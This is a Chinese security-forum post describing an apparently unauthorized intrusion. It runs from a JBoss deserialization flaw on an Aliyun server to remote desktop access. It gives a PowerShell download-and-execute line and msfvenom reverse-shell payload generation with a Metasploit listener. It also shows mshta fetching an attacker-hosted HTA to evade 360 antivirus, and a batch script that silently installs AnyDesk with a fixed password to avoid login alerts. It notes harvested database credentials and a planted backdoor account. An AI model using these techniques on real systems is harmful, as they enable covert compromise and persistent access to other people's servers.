安全矩阵

 找回密码
 立即注册
搜索
查看: 2628|回复: 0

记一次从Jboss到3389远程桌面案例

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-8 10:37:16 | 显示全部楼层 |阅读模式
原文链接:记一次从Jboss到3389远程桌面案例

0x01 前言
国庆期间朋友@Sin给我发了个存在Jboss反序列化漏洞的入口点,想打内网,但在进程列表中看到有360主动防御和阿里云盾等进程,没能绕过360上线CS/MSF......。
0x02 漏洞验证
这里我们直接利用@STG-6哥的“Java反序列化终极测试工具”来验证这个漏洞,可以看到直接就是Administrator权限了,Tomcat/Weblogic/Jboss/WebSphere默认大多数都为高权限。

0x03 单机信息搜集
tasklist /svc命令将获取到的进程列表与本地杀软进程进行对比后发现存在:ZhuDongFangYu.exe、aliyundun.exe、aliyun_assist_service.exe等进程。
还看到有gpstool.exe某GPS定位工具、GServer.exe位置服务平台(GSevrer)两个进程,以及可用于提权的Ssms.exe进程,已经是高权限了,所以暂时用不上。

net localgroup administrators命令下还发现了一个前辈留下的隐藏后门账户erdj$,$demo不是哦!

netstat -ano命令下发现1433、3389是开着的,但由于这台主机为内网,而且存在360主动防御,所以暂时无法实现文件落地、执行添加/修改用户密码、端口转发等操作。

注:即使可以执行以上这些操作,在进行3389远程桌面连接时很有可能会触发阿里云主机的异地登录提醒,所以这里还得特别注意一下,不到万不得已不建议远程连接。
Exlive GPS车辆定位服务平台端口

翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件,存储着这个定位服务平台的相关配置信息,包括MSSQL数据库的用户和密码。

ipconfig /all命令下发现这台主机有两个网卡,公网:47.**.***.77,内网:10.28.176.131,两个内网DNS服务器:10.143.22.116、10.143.22.118,并且可以与外网进行通讯。

0x04 绕过主动防御上线
测试了以前常用的Powershell混淆法,不过已经被360主动防御拦了,微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性,一旦被公布被查杀和拦截也正常(早晚的事)。
powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b)

web_delivery、hta_server模块肯定更不行了,最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话,执行getsystem即可提升为SYSTEM,执行命令如下。
  1. 1、生成载荷并编码
  2. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin
  3. cat /tmp/shellcode.bin | base64 -w 0

  4. 2、配置监听模块参数
  5. use exploit/multi/handler
  6. set payload windows/meterpreter/reverse_tcp
  7. set lhost 155.**.***.16
  8. set lport 443
  9. exploit

  10. 3、目标主机执行载荷
  11. mshta http://155.**.***.16:8888/bypass360.hta
复制代码


注:mshta白名单貌似只能用x86的Payload,执行成功后会自动迁移至32位的rundll32.exe进程,所以就可能会出现由werfaylt.exe弹出的下图报错,所以个人建议在得到Session后迁移至x64进程,并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。

0x05 绕过异地登录提醒
虽然已经是最高权限了,但由于这台主机为阿里云,且存在360主动防御,就不添加用户进行远程桌面连接了,因为360会拦截添加用户,而且远程桌面连接时会触发异地登录提醒。

为避免触发异地登录提醒,我们可以利用AnyDesk来进行绕过,将AnyDesk.exe和静默安装批处理文件上传至可读写目录中,然后在命令行下执行该批处理文件获取连接ID。
注:如果等待时间过长,一直卡着不动获取不到连接ID时可结束当前命令行,重新进入命令行执行anydesk --get-id命令来获取连接ID。
  1. @echo off
  2. AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent
  3. echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence
  4. echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password
  5. choice /t 10 /d y /n >nul
  6. for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i
  7. echo Connection ID Is: %CID%
复制代码


接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面,成功的绕过了阿里云主机的异地登录提醒。

至此,全文结束,内网就不搞了!!!
注意事项:
在运行AnyDesk时得先使用rev2self命令恢复原始令牌,而且得在管理员在线且为激活状态下执行才能正常使用,如果管理员不在线或者为锁屏状态下执行时可能还需要验证系统密码。更多绕过方式可参考:3.3.8 腾讯云主机异地登录提醒绕过、3.3.9 利用第三方绕过远程桌面连接 。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:32 , Processed in 0.013247 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表